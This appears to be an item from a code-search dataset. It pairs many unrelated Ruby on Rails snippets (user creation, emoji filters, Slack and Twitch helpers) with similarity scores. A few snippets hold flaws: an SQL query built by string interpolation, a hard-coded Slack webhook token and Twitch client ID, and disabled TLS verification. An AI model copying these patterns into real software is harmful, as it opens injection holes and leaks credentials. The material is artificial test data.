"def create\r\n \r\n pa = params.require(:user).permit(:email, :password, :password_confirmation, :phone_number,\r\n :admin, :content_provider_id,\r\n :subscribed_alert_mediaspot_offline, :subscribed_alert_sync_error,\r\n :sms_subscribed_alert_mediaspot_offline, :sms_subscribed_alert_sync_error)\r\n\r\n pa[:api_key] = genereate_api_key\r\n\r\n @user = User.new(pa)\r\n \r\n respond_to do |format|\r\n if @user.save\r\n\r\n content_providers = []\r\n\r\n (params[:user][:content_provider_ids] || []).each do |k|\r\n id = k.to_i\r\n if id > 0\r\n content_providers << ContentProvider.find(id)\r\n end\r\n end\r\n @user.content_providers = content_providers\r\n\r\n save_users_log(current_user.email, 'user_created', {\r\n user: @user,\r\n content_providers: content_providers.map{|cp| { id: cp[:id], name: cp[:name] }}\r\n }.to_json)\r\n\r\n format.html { redirect_to @user, notice: 'User was successfully created.' }\r\n else\r\n format.html { render :new }\r\n end\r\n end\r\n\r\n end",
"def push_notification_token\n username = params[:user][:username]\n token = params[:token][:value]\n\n user = User.find_by(username: username)\n user.push_notification_token = token\n\n if user.save\n render json: { }, status: 204\n else\n render json: { error: I18n.t('push_notification_token_error') }, status: :unprocessable_entity\n end\n end",
"def emojis\n return 0 unless @emojis\n @emojis\n end",
"def emoji_image_filter(text)\n text.gsub(emoji_pattern) do |match|\n name = $1\n \"<span class='emoji'>#{emoji_unicode_replacement(name)}</span>\"\n end\n end",
"def register\n logger.info params.inspect\n message = MySlack::People.register(params[:user_id])\n\n render json: message\n end",
"def create\n @sprite = Sprite.new(params[:sprite])\n @sprite.user_id = current_user.id\n \n respond_to do |format|\n if @sprite.save\n format.html { redirect_to @sprite, :notice => 'Sprite was successfully created.' }\n format.json { render :json => @sprite, :status => :created, :location => @sprite }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @sprite.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @xp_user = XpUser.new(xp_user_params)\n\n respond_to do |format|\n if @xp_user.save\n format.html { redirect_to new_xp_user_path, notice: '恭喜您已經成功取得抽獎資格，請繼續注意本網站公告喔！' }\n format.json { render action: 'show', status: :created, location: @xp_user }\n else\n format.html { render action: 'new' }\n format.json { render json: @xp_user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n # Get the user ID and links that have been sent from the extension\n name = params[\"name\"] # String which is the user's name\n likes_hash = params[\"likes_array\"].to_unsafe_h.to_hash\n likes_hash.each { |hash, data| data[\"friend_likes\"] = data[\"friend_likes\"].to_i }\n # Find the corresponding user\n user = User.find_by(name: name)\n # binding.pry\n # Iterate over each of the hashes if received something\n if likes_hash\n # binding.pry\n user.like_data = likes_hash\n user.save\n end\n end",
"def json_response_for_slack(reply)\n response = { text: reply, link_names: 1 }\n response[:username] = ENV[\"BOT_USERNAME\"] unless ENV[\"BOT_USERNAME\"].nil?\n response[:icon_emoji] = ENV[\"BOT_ICON\"] unless ENV[\"BOT_ICON\"].nil?\n response.to_json\nend",
"def json_response_for_slack(reply)\n response = { text: reply, link_names: 1 }\n response[:username] = ENV[\"BOT_USERNAME\"] unless ENV[\"BOT_USERNAME\"].nil?\n response[:icon_emoji] = ENV[\"BOT_ICON\"] unless ENV[\"BOT_ICON\"].nil?\n response.to_json\nend",
"def create\n @user = User.new(user_params)\n encoded_file = params[:user][:filename]\n if !params[:user].nil? && !encoded_file.nil? && encoded_file != \"\"\n @user.remove_image_path\n @user.create_image(encoded_file)\n end\n\n respond_to do |format|\n if @user.save then\n # Setting the conversation_user ids of the new user from 0 to the users new ID\n users_conversations = ConversationUser.where(phone: @user.phone)\n users_conversations.each do |conv_user|\n conv_user.user_id = @user.id\n conv_user.save!\n end\n format.html { redirect_to @user, notice: 'User was successfully created.' }\n format.json { render json: @user, status: :ok }\n else\n format.html { render :new }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @custom_emoji = args[:custom_emoji] if args.key?(:custom_emoji)\n end",
"def post_ephemeral_reply(message, user)\n # temporary hack for testing:\n post_message(message)\n # https://api.slack.com/methods/chat.postEphemeral\n # scopes: chat:write\n # slack_client.chat_postEphemeral(\n # channel: channel_id,\n # thread_ts: slack_ts,\n # text: message,\n # user: user\n # )\n end",
"def display_emoji_break\n emoji = $EMOJIS.sample\n print \"#{emoji} \" * 15\n print \" #{path_clip} \"\n puts \"#{emoji} \" * 15\nend",
"def SmileyExist(smiley)\n uri = URI('http://www.emoji-cheat-sheet.com/graphics/emojis/'+smiley+'.png')\n res = Net::HTTP.get_response(uri)\n\n if res.code == '200'\n return true\n else\n return false\n end\n end",
"def create\n @note = SendMessage.new(send_message_param)\n if @note.save\n respond_to do |format|\n format.json{ render :json => { success: true } }\t\n end\n @note.xsend\n #accept api error.\n else\n respond_to do |error|\n error.json{ render :json => { error: -1 } }\n end\n end\nend",
"def scanEmojiFiles()\r\n Dir.entries(@emojiDir).each { |fileName|\r\n if fileName[0..6] == \"emoji_u\"\r\n ext=fileName[-4..-1]\r\n imageBaseName=fileName[7..-5]\r\n if ext != \".png\" and ext != \".svg\"\r\n raise \"Oops: Emoji file \\\"\" + fileName + \"\\\" is neither PNG nor SVG.\"\r\n end\r\n if @emojiExt == nil\r\n @emojiExt = ext\r\n end\r\n if ext != @emojiExt\r\n raise \"Oops: Both PNG and SVG emoji found.\"\r\n end\r\n @emojiFiles.add(imageBaseName)\r\n end\r\n }\r\n end",
"def user_mention_params\n params.require(:user_mention).permit(:username, :mentions)\n end",
"def create\n respond_to do |format|\n begin\n if params[\"skills_user\"][\"user_id\"]\n skill_id = params[\"skills_user\"][\"skill_id\"]\n user_ids = params[\"skills_user\"][\"user_id\"].reject{ |c| c.empty? }\n user_ids.each do |user_id|\n SkillsUser.create(skill_id: skill_id, user_id: user_id)\n end\n format.html { redirect_to skills_users_path, notice: 'Skills user was successfully created.' }\n end\n rescue\n format.html { render :new }\n format.json { render json: @skills_user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def chat_postEphemeral(options = {})\n raise ArgumentError, 'Required arguments :channel missing' if options[:channel].nil?\n raise ArgumentError, 'At least one of :attachments, :blocks, :text is required' if options[:attachments].nil? && options[:blocks].nil? && options[:text].nil?\n raise ArgumentError, 'Required arguments :user missing' if options[:user].nil?\n options = options.merge(user: users_id(options)['user']['id']) if options[:user]\n options = encode_options_as_json(options, %i[attachments blocks])\n post('chat.postEphemeral', options)\n end",
"def message_to_at_user(at_user)\n # return if self.user.id == at_user.id\n message = self.messages.build(\n is_read: false,\n user_id: at_user.id,\n from_user_id: self.user.id,\n body: \"#{self.user.uid} @了你: #{self.content}\"\n )\n message.save\n end",
"def find_emoji(name)\n LOGGER.out(\"Resolving emoji #{name}\")\n emoji.find { |element| element.name == name }\n end",
"def create\n @reply = @message.replies.build(params[:reply])\n @reply.user_id = user_id\n respond_to do |format|\n if @reply.save\n format.js\n format.html { redirect_to(user_messages_path) }\n format.xml { render :xml => @reply, :status => :created, :location => @reply }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @reply.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def handle_message(is_bot, channel, user, text, modes=[])\n puts \"Received message from IRC: #{channel} #{user} #{text}\"\n\n HTTParty.post \"#{$config['streaming_pub']}?id=#{channel.gsub('#','')}\", {\n body: {\n text: text,\n nick: user.nick\n }.to_json,\n verify: false\n }\nend",
"def create\n @user_say = current_user.user_says.create(user_say_params)\n\n respond_to do |format|\n if @user_say.save\n if @user_say.extract_data == true\n Lesson.where(intent: @user_say.intent, bot_id: @user_say.bot_id).take.update(extract_data: true)\n #создаем регулярку с capture groups и сохраняем их в отдельное поле\n @user_say.update(regexp: @user_say.make_regexp(Regexp.new(Regexp.escape(@user_say.input), \"i\").to_s)) \n # создаем ключ-переменную для привязки примеров переменной\n if @user_say.input.match(/@[\\wа-я]+/i)\n @user_say.input.to_enum(:scan, /(@[\\wа-я]+)/i).map { Regexp.last_match }.each do |a|\n i = 0\n unless Key.where(bot_id: @user_say.bot_id, name: a[i]).take\n Key.create(name: a[i], bot_id: @user_say.bot_id, user_say_id: @user_say.id, lesson_id: @user_say.lesson_id)\n end\n i = i + 1 \n end\n end \n end\n format.html { redirect_to @user_say.bot, notice: 'User say was successfully created.' }\n format.json { render :show, status: :created, location: @user_say }\n else\n format.html { redirect_to @user_say.bot }\n format.json { render json: @user_say.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @emoji = args[:emoji] if args.key?(:emoji)\n end",
"def update!(**args)\n @emoji = args[:emoji] if args.key?(:emoji)\n end",
"def create\n @xcuser = Xcuser.new(xcuser_params)\n\n respond_to do |format|\n if Xcuser.all.size >= 300\n format.html { render :new }\n format.json { render json: @xcuser.errors, status: :unprocessable_entity }\n else\n if @xcuser.save\n format.html { redirect_to @xcuser, notice: 'Xcuser was successfully created.' }\n format.json { render :show, status: :created, location: @xcuser }\n else\n format.html { render :new }\n format.json { render json: @xcuser.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"def create\n @user_icon = @user_iconable.user_icons.build( params[:user_icon] )\n\n respond_to do |format|\n if @user_icon.save\n flash[:notice] = 'UserIcon was successfully created.'\n format.html { redirect_to(\n polymorphic_url([:admin, @user_iconable, :user_icons])) }\n else\n format.html { render :action => \"new\" }\n end\n end\n end",
"def include_emoji?(text)\n text && text[/:\\S+:/]\n end",
"def set_mentions\n self.entities = { user_mentions: [] }\n people_mentioned.each do |user|\n handle = '@' + user.username\n first = body.index(handle)\n last = first + handle.length\n indices = { indices: [first, last] }\n self.entities[\"user_mentions\"] << indices\n end\n end",
"def get_twitch_emoticons\n # Get Emoticons for Channel\n headers = {\n 'Accept' => 'application/vnd.twitchtv.v3+json',\n 'Client-ID' => 'efq3aoz1vvrtac1wz0ojszl54p6uuw'\n }\n http_response = self.class.get(\n \"https://api.twitch.tv/kraken/chat/#{@twitch_channel}/emoticons\",\n headers: headers\n )\n response = JSON.parse(http_response.body, symbolize_names: true)\n emoticons = response[:emoticons]\n emoticons = emoticons.select do |e|\n e[:state] == 'active' && e[:subscriber_only]\n end\n emoticons\n end",
"def create\n @user = User.new(user_params)\n\n respond_to do |format|\n if @user.save\n\n invited_users = InvitedUser.where(email: @user.email)\n invited_users.each do |invited_user|\n Message.create(sender_id: 1, receiver_id: invited_user.inviter.id, title: \"Your friend has just joined\", content: \"I have just joined to TennisBuddy World! Thank you for inviting me. #{@user.full_name}\")\n end\n\n format.html { redirect_to @user, notice: 'User was successfully created.' }\n format.json { render :show, status: :created, location: @user }\n else\n format.html { render :new }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n if params[:question][:content].gsub(/[ \\t\\r\\n]/, '').length == 0\n respond_to do |format|\n format.json { render json: nil, status: :unprocessable_entity}\n end\n return\n end\n\n #@question = Question.new(params[:question])\n @question = current_user.questions.new(params[:question])\n @question.closed = false\n\n respond_to do |format|\n if @question.save\n #receiver = User.ne(_id: current_user).to_a.first\n receivers = User.ne(_id: current_user).to_a\n #notification = receiver.question_notifications.create!(:question_url => question_path(@question))\n #notification_data = {:url => notification_path(notification, :type => :q), :type => :q}\n #message = {:channel => '/notifications/users/' + receiver._id, :data => notification_data.to_json.html_safe}\n question_description = @question.content.truncate(20, separator: ' ')\n\n messages = []\n receivers.each do |receiver|\n if receiver.group == current_user.group\n notification = receiver.question_notifications.create!(:question_url => question_path(@question), :question_description => question_description)\n notification_data = {:url => notification_path(notification, :type => :q), :type => :q, :question_description => question_description}\n messages.push({:channel => '/notifications/users/' + receiver._id, :data => notification_data.to_json.html_safe})\n end\n end\n\n faye_uri = URI.parse(\"http://localhost:\" + TestMongoid::Application.config.faye_server_port.to_s + \"/faye\")\n Net::HTTP.post_form(faye_uri, :message => messages.to_json)\n\n #format.html { redirect_to @question, notice: 'Question was successfully created.' }\n format.html { redirect_to root_path, notice: 'Question was successfully created.' }\n format.json { render json: nil, status: :created}\n else\n #format.html { render action: \"new\" }\n format.html { redirect_to root_path, notice: 'Question was not created...' }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @note = current_user.notes.build(params[:note])\n @attachids = params[:attachments].split(',')\n\n @at_users = @note.summary.scan(/@[a-zA-Z0-9_]+/)\n \n @note.summary = string_replace(3 , html_escape(@note.summary)) # repalce the string\n\n if @note.save\n @at_users.each do |at_user|\n user = User.find_by_sql(\"SELECT users.* FROM users WHERE nickname='#{at_user.from(1)}'\") #check user is exist\n if user.size == 1 #because note can not edit so the create note unexist in message table\n @message = @note.infos.create( {\n :user_id => user[0].id,\n :message => @note,\n :refer => 1\n } )\n broadcast \"/ats/new/#{@message.user_id}\", \"{ note_id: #{@note.id}, meg_type: 'at_in_note' }\"\n end\n end\n @attachids.each do |attachid|\n attach = Attachement.find(attachid)\n attach.note_id = @note.id and attach.save if not attach.nil?\n end\n\n broadcast '/notes/new', %Q/ { nickname: \"#{current_user.nickname}\", status: true } /\n\n cookies[:offset] = cookies[:offset].to_i + 1\n respond_to do |format|\n format.html { redirect_to notes_path, notice: 'Note was successfully created.' }\n format.js \n end\n else\n broadcast '/notes/new', %Q/ { status: false, errors: #{@note.errors.to_json} } /\n respond_to do |format|\n format.html { redirect_to notes_path, notice: 'Note creation was failed.' }\n format.js \n end\n end\n end",
"def show\n @sprite = current_user.sprites.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @sprite }\n end\n end",
"def show\n @user = User.find_by_username(params[:id])\n @no_replies = true\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end",
"def send_push_notification\n @user = params[:user_id] ? ::User.find_by_id(params[:user_id]) : nil\n @user = ::User.find_by_user_name(params[:user_name].strip) if params[:user_name].present?\n logger.info \"-> #{@user}\"\n if @user\n flash[:error] = nil\n ::Users::UserNotificationToken.send_push_notifications_to(@user, params[:text] || params[:notification_text] )\n else\n flash[:error] = 'Cannot find the user'\n end\n\n respond_to do|format|\n format.js\n format.html { redirect_to last_page(\"t=#{Time.now.to_i}\") }\n end\n end",
"def positive_emoji\n %w[100 checkbox star thumbsup rocket].sample\n end",
"def index\n if params[:user_id]\n @characters = User.find(params[:user_id]).characters\n else\n @characters = Character.all\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @characters }\n end\n end",
"def find_emoji(key, server = nil)\n server = server || $bot.servers[SERVER_ID] || $bot.servers.first\n return if server.nil?\n if key.is_a?(Integer)\n server.emojis[key]\n elsif key.is_a?(String)\n server.emojis.find{ |id, e| e.name.downcase.include?(key.downcase) }[1]\n else\n nil\n end\nrescue\n nil\nend",
"def nippou_params\n params.require(:nippou).permit(:content, :user_id)\n end",
"def create\n @user = User.create_or_find_by(user_params)\n my_token = issue_token(@user)\n\n render json: {user: @user, token: my_token}\n # render json: @user\n \n end",
"def create\n @user_push_content = UserPushContent.new(user_push_content_params)\n\n respond_to do |format|\n if @user_push_content.save\n format.html { redirect_to @user_push_content, notice: 'User push content was successfully created.' }\n format.json { render :show, status: :created, location: @user_push_content }\n else\n format.html { render :new }\n format.json { render json: @user_push_content.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n if params[:nickname].present?\n send_token params[:nickname]\n redirect_to \\\n user_session_path,\n notice: \"link is sent to verify you! please check WeirdSlack!\"\n else\n redirect_to user_session_path\n end\n end",
"def verify_action(bot, event, message, emojis)\n prompt = event.respond \"#{message}\\nPlease wait a few seconds after the reactions appear before clicking.\"\n emojis.each do |emoji|\n prompt.react emoji\n end\n while true\n reaction_event = bot.add_await!(Discordrb::Events::ReactionAddEvent, {timeout: 120})\n if !reaction_event\n event.respond \"Timed out. Defaulted to ❌.\"\n prompt.delete\n return \"❌\"\n elsif (reaction_event.message.id == prompt.id && event.message.author.id == reaction_event.user.id)\n prompt.delete\n event.respond \"#{message}\\nSelected: #{reaction_event.emoji().name}\"\n return reaction_event.emoji().name\n end\n end\nend",
"def create\n @user = User.new(params[:user])\n @user.avatar = params[:avatar]\n #UserMailer.user_created(@user).deliver\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to :root, :notice => 'User was successfully created.' }\n format.json { render :json => @user, :status => :created, :location => @user }\n else\n format.html { redirect_to :root, :notice => \"L'utilisateur n'a pas été créé!\" }\n format.json { render :json => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def emoji_image_filter(text)\n return text unless text.include?(':')\n\n text.gsub(emoji_pattern) do |match|\n name = $1\n \"<img class='emoji' title=':#{name}:' alt=':#{name}:' src='#{emoji_url(name)}' height='20' width='20' align='absmiddle' />\"\n end\n end",
"def create\n sleep(rand(1..5)) if Rails.env.development?\n answer = Answer.new(params.require(:answer).permit(:question_uuid, :letter))\n answer.user_slug = current_user_slug\n saved = answer.save\n answers = Answer.where(user_slug: current_user_slug).as_react_json\n\n respond_to do |format|\n if saved\n message = 'Risposta registrata correttamente.'\n # Notify tutor\n ActionCable.server.broadcast \"answers_#{answer.question_uuid}\", answer: answer.as_react_json\n format.html { redirect_to lives_path(@live_lecture), notice: message }\n format.json { render json: { result: :success, message: message, answers: answers } }\n else\n message = answer.errors.full_messages.join('. ')\n format.html { redirect_to lives_path(@live_lecture), alert: message }\n format.json { render json: { result: :error, message: message, answers: answers } }\n end\n end\n rescue ActiveRecord::StatementInvalid, StandardError => e\n answers = Answer.where(user_slug: current_user_slug).as_react_json\n\n respond_to do |format|\n format.html { redirect_to lives_path(@live_lecture), alert: e.message }\n format.json { render json: { result: :error, message: e.message, answers: answers } }\n end\n end",
"def post_to_slack\n system(\"curl -X POST --data-urlencode 'payload={\\\"channel\\\": \\\"#hedgehogs\\\", \\\"username\\\": \\\"Toto, Min and Fumi\\\", \\\"text\\\": \\\"現在、小屋の気温は #{@temparature.round(1)}℃です\\\"}' https://hooks.slack.com/services/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\")\n end",
"def create\n @escape = current_user.escapes.new(escape_params)\n\n respond_to do |format|\n if @escape.save\n format.html { redirect_to @escape, notice: 'Escape was successfully created.' }\n format.json { render :show, status: :created, location: @escape }\n else\n format.html { render :new }\n format.json { render json: @escape.errors, status: :unprocessable_entity }\n end\n end\n end",
"def send_whisper(user, message)\n @bot.message_queue.push(\"PRIVMSG #jtv :/w #{user} #{message}\")\n end",
"def create\n category = params[:text].scan(/#(\\w+)/).flatten\n\n idea = Idea.create!(\n content: params[:text],\n category: category,\n user: User.find_by(uid: params[:user_id]),\n channel: params[:channel_name],\n stage: \"seed\"\n )\n json = {\n \"text\": \"#{idea.content}\",\n \"attachments\": [\n {\n \"text\": \"#{idea.user.firstname} just logged a new idea!\",\n \"fallback\": \"You are unable to choose a game\",\n \"callback_id\": \"wopr_game\",\n \"color\": \"#3AA3E3\",\n \"attachment_type\": \"default\",\n \"actions\": [\n {\n \"name\": \"game\",\n \"text\": \"endorse\",\n \"type\": \"button\",\n \"value\": \"chess\"\n },\n {\n \"name\": \"game\",\n \"text\": \"Suggest\",\n \"type\": \"button\",\n \"value\": \"maze\"\n },\n ]\n }\n ]\n }\n\n render json: json\n end",
"def create\n\n @extension = Extension.new(extension_params)\n @user = User.find(session[:user_id]) \n \n respond_to do |format|\n if @extension.save\n @user.extensions << @extension\n format.html { redirect_to @extension, notice: 'La actividad se registro con exito.' }\n format.json { render :show, status: :created, location: @extension }\n else\n format.html { render :new }\n format.json { render json: @extension.errors, status: :unprocessable_entity }\n end\n end\n \n end",
"def twizzle_params\n params.require(:twizzle).permit(:user_id, :content)\n end",
"def click_user_icon\n wait_for_css(input_elements[:entries])\n entries = get_entries\n entries.each do |entry|\n if entry[\"data-mention-id\"].eql?(@stream_post_id)\n return entry.all(input_elements[:notification_icon]).first.click\n end\n end\n return false\n end",
"def test_putpoi_create_with_invalid_utf8\n # This node has no tags\n\n # create a node with random lat/lon\n lat = rand(-50..49) + rand\n lon = rand(-50..49) + rand\n\n changeset = create(:changeset)\n user = changeset.user\n\n invalid = \"\\xc0\\xc0\"\n tags = { \"something\" => \"foo#{invalid}bar\" }\n\n amf_content \"putpoi\", \"/1\", [\"#{user.email}:test\", changeset.id, nil, nil, lon, lat, tags, nil]\n post :amf_write\n assert_response :success\n amf_parse_response\n result = amf_result(\"/1\")\n\n assert_equal 2, result.size\n assert_equal -1, result[0], \"Expected to get the status FAIL in the amf\"\n assert_equal \"One of the tags is invalid. Linux users may need to upgrade to Flash Player 10.1.\", result[1]\n end",
"def emoji_for_species(string)\n case string.downcase.strip\n when 'wolf', /\\swolf/\n '🐺'\n when 'gorilla', /\\sgorilla/\n '🦍'\n when 'rhino', 'rhinoceros', /\\srhino/, /\\srhinoceros/\n '🦏'\n when 'owl', /\\sowl/\n '🦉'\n when 'lion', /\\slion/\n '🦁'\n when 'tiger', /\\stiger/\n '🐯'\n when 'octopus', /\\soctopus/\n '🐙'\n when 'chicken', /\\schicken/\n '🐓'\n when 'dog', /\\sdog/\n '🐶'\n when 'human', /\\shuman/\n '👮'\n when 'eagle', /\\seagle/\n '🦅'\n when 'fish', /\\sfish/\n '🐟'\n when 'unicorn', /\\sunicorn/\n '🦄'\n else\n '❓'\n end\nend",
"def destroy\n @user_mention.destroy\n respond_to do |format|\n format.html { redirect_to user_mentions_url, notice: 'User mention was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def add_user_to_db(screen_name)\n user = github.get_user(screen_name)\n Cheepcreep::GithubUser.create(:login => json['login'],\n :name => json['name'],\n :blog => json['blog'],\n :followers => json['followers'],\n :following => json['following'],\n :public_repos => json['public_repos'])\n\nend",
"def create\n @exosuit = Exosuit.new(exosuit_params)\n\n respond_to do |format|\n if @exosuit.save\n format.html { redirect_to @exosuit, notice: 'Exosuit was successfully created.' }\n format.json { render :show, status: :created, location: @exosuit }\n else\n format.html { render :new }\n format.json { render json: @exosuit.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @nickname = Nickname.new(nickname_params)\n\n respond_to do |format|\n if @nickname.save\n format.html { redirect_to @nickname, notice: 'Nickname was successfully created.' }\n format.json { render :show, status: :created, location: @nickname }\n else\n format.html { render :new }\n format.json { render json: @nickname.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @xinyongtongji = Xinyongtongji.new(params[:xinyongtongji])\n\n respond_to do |format|\n if @xinyongtongji.save\n format.html { redirect_to @xinyongtongji, notice: 'Xinyongtongji was successfully created.' }\n format.json { render json: @xinyongtongji, status: :created, location: @xinyongtongji }\n else\n format.html { render action: \"new\" }\n format.json { render json: @xinyongtongji.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post_ephemeral_message(\n access_token:,\n channel_id:,\n user_id:,\n text:,\n attachments: nil,\n blocks: nil,\n link_names: true,\n parse: 'full',\n thread_ts: nil\n )\n return if attachments.blank? && blocks.blank? && text.blank?\n params = {\n channel: channel_id,\n attachments: attachments,\n blocks: blocks,\n text: text,\n user: user_id,\n link_names: link_names,\n parse: parse,\n thread_ts: thread_ts\n }.compact\n response = HTTParty.post(\"https://slack.com/api/chat.postEphemeral\",\n body: params.to_json,\n headers: { 'Authorization': \"Bearer #{access_token}\", 'Content-Type': 'application/json' })\n JSON.parse(response.body, symbolize_names: true)\n end",
"def admin_emoji_addAlias(options = {})\n raise ArgumentError, 'Required arguments :alias_for missing' if options[:alias_for].nil?\n raise ArgumentError, 'Required arguments :name missing' if options[:name].nil?\n post('admin.emoji.addAlias', options)\n end",
"def create\n @user = User.find_by(email: \"#{params[:user][:email]}\")\n #@nickname_existed = !User.find_by(nickname: \"#{params[:user][:nickname]}\").nil?\n if @user\n render :json => { :data => @user, :status => 200, :email_already_exist => true } #:nickname_already_exist => @nickname_existed}\n else\n @user = User.create(user_params)\n if @user.valid?\n render :json => { :data => @user, :status => 200, :email_already_exist => false } #:nickname_already_exist => @nickname_existed }\n else\n render :json => { :data => nil, :status => 200 }\n end\n end\n end",
"def say(text, quick_replies: [], user: @user)\n message_options = {\n recipient: { id: user.id },\n message: { text: text }\n }\n if quick_replies && !quick_replies.empty?\n message_options[:message][:quick_replies] = UI::QuickReplies\n .build(*quick_replies)\n end\n\n send_message(message_options)\n end",
"def user\n @user = User.find(params[:id])\n @episodes = @user.episodes.order(@order).paginate(@page)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @episodes, callback: params[:callback] }\n format.xml { render xml: @episodes }\n format.rss { render 'feed' }\n end\n end",
"def index\n @characters = @user.characters.find :all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @characters }\n end\n end",
"def alert_birthday(message, chann, user)\n HTTParty.post(@url, body: {channel: chann, username: user, text: message, icon_emoji: \":david:\"}.to_json)\n end",
"def index\n @user_exts = UserExt.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @user_exts }\n end\n end",
"def create\n @user = User.new(params[:user])\n find_languages_and_countries\n @user.is_admin = false\n GivePoints.add_on_create(@user)\n respond_to do |format|\n if @user.save\n format.html { redirect_to confirmation_has_been_sent_path, :notice => 'User was successfully created.' }\n format.json { render :json => @user, :status => :created, :location => @user }\n else\n format.html { render :controller => \"public\", :action => \"public_signin\" }\n format.json { render :json => @user.errors, :status => :unprocessable_entity }\n end\n end\n end"
] |
[
"0.74396235",
"0.5825977",
"0.56542784",
"0.55830085",
"0.5485322",
"0.52858204",
"0.52801895",
"0.52451915",
"0.5080152",
"0.50624985",
"0.5054054",
"0.49850875",
"0.49773395",
"0.49160987",
"0.4871773",
"0.48699182",
"0.48347747",
"0.48191956",
"0.48074126",
"0.4802297",
"0.47908336",
"0.47872576",
"0.47827095",
"0.47430226",
"0.47336856",
"0.47231925",
"0.47055474",
"0.46845123",
"0.4666555",
"0.46506017",
"0.46414596",
"0.46377856",
"0.4562538",
"0.45474595",
"0.45078748",
"0.44657066",
"0.44501865",
"0.44467404",
"0.44467404",
"0.44430777",
"0.44380078",
"0.44288296",
"0.44272515",
"0.44250986",
"0.4418907",
"0.44186792",
"0.44098565",
"0.43729648",
"0.4362986",
"0.43600327",
"0.43580586",
"0.43300408",
"0.43299383",
"0.43276873",
"0.43168136",
"0.43168136",
"0.43066683",
"0.4304716",
"0.43040282",
"0.43019083",
"0.42881134",
"0.42859647",
"0.42721024",
"0.42687282",
"0.4258182",
"0.42519417",
"0.4250557",
"0.42487395",
"0.4246658",
"0.42466357",
"0.42448533",
"0.42401966",
"0.42309532",
"0.42302957",
"0.42272544",
"0.42230842",
"0.42132527",
"0.42023122",
"0.4200514",
"0.41976357",
"0.4196892",
"0.41837",
"0.41832507",
"0.41776735",
"0.41697106",
"0.4166685",
"0.41637298",
"0.41618705",
"0.41549656",
"0.41500095",
"0.41430295",
"0.41392285",
"0.41391313",
"0.41380945",
"0.41347048",
"0.41335315",
"0.41251767",
"0.4122967",
"0.41213134",
"0.41199973",
"0.41180274"
] |
0.0
|
-1
|
PATCH/PUT /users/:user_id/xemojis/1 PATCH/PUT /users/:user_id/xemojis/1.json
|
def update
redirect_to :action => 'not_implemented', :status => 501
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def edit_emoji(auth, server_id, emoji_id, name, reason = nil)\n MijDiscord::Core::API.request(\n :guilds_sid_emojis_eid,\n server_id,\n :patch,\n \"#{MijDiscord::Core::API::APIBASE_URL}/guilds/#{server_id}/emojis/#{emoji_id}\",\n { name: name }.to_json,\n Authorization: auth,\n content_type: :json,\n 'X-Audit-Log-Reason': reason\n )\n end",
"def index\n @xemojis = XemojisForUserService.new({user: @user}).call\n end",
"def update!(**args)\n @custom_emoji = args[:custom_emoji] if args.key?(:custom_emoji)\n end",
"def update!(**args)\n @emoji = args[:emoji] if args.key?(:emoji)\n end",
"def update!(**args)\n @emoji = args[:emoji] if args.key?(:emoji)\n end",
"def update_guild_emoji(data)\n server_id = data['guild_id'].to_i\n server = @servers[server_id]\n server.update_emoji_data(data)\n end",
"def update!(**args)\n @custom_emoji = args[:custom_emoji] if args.key?(:custom_emoji)\n @unicode = args[:unicode] if args.key?(:unicode)\n end",
"def update!(**args)\n @custom_emoji = args[:custom_emoji] if args.key?(:custom_emoji)\n @unicode = args[:unicode] if args.key?(:unicode)\n end",
"def update\n respond_to do |format|\n if @user_mention.update(user_mention_params)\n format.html { redirect_to @user_mention, notice: 'User mention was successfully updated.' }\n format.json { render :show, status: :ok, location: @user_mention }\n else\n format.html { render :edit }\n format.json { render json: @user_mention.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_emoji(auth, server_id, image, name, reason = nil)\n MijDiscord::Core::API.request(\n :guilds_sid_emojis,\n server_id,\n :post,\n \"#{MijDiscord::Core::API::APIBASE_URL}/guilds/#{server_id}/emojis\",\n { image: image, name: name }.to_json,\n Authorization: auth,\n content_type: :json,\n 'X-Audit-Log-Reason': reason\n )\n end",
"def update!(**args)\n @emoji = args[:emoji] if args.key?(:emoji)\n @name = args[:name] if args.key?(:name)\n @user = args[:user] if args.key?(:user)\n end",
"def notify_adding_emoji(emoji_name)\n @websocket_connection.send(\n {\n type: 'message',\n text: \"New Emojis Published! :#{emoji_name}:\",\n channel: @bot_notification_channel\n }.to_json\n )\n end",
"def update\n @sprite = current_user.sprites.find(params[:id])\n respond_to do |format|\n if @sprite.update_attributes(params[:sprite])\n\tformat.html { redirect_to edit_sprite_path(@sprite), :notice => 'Sprite was successfully updated.' }\n else\n format.html { render :action => \"edit\" }\n end\n end\n end",
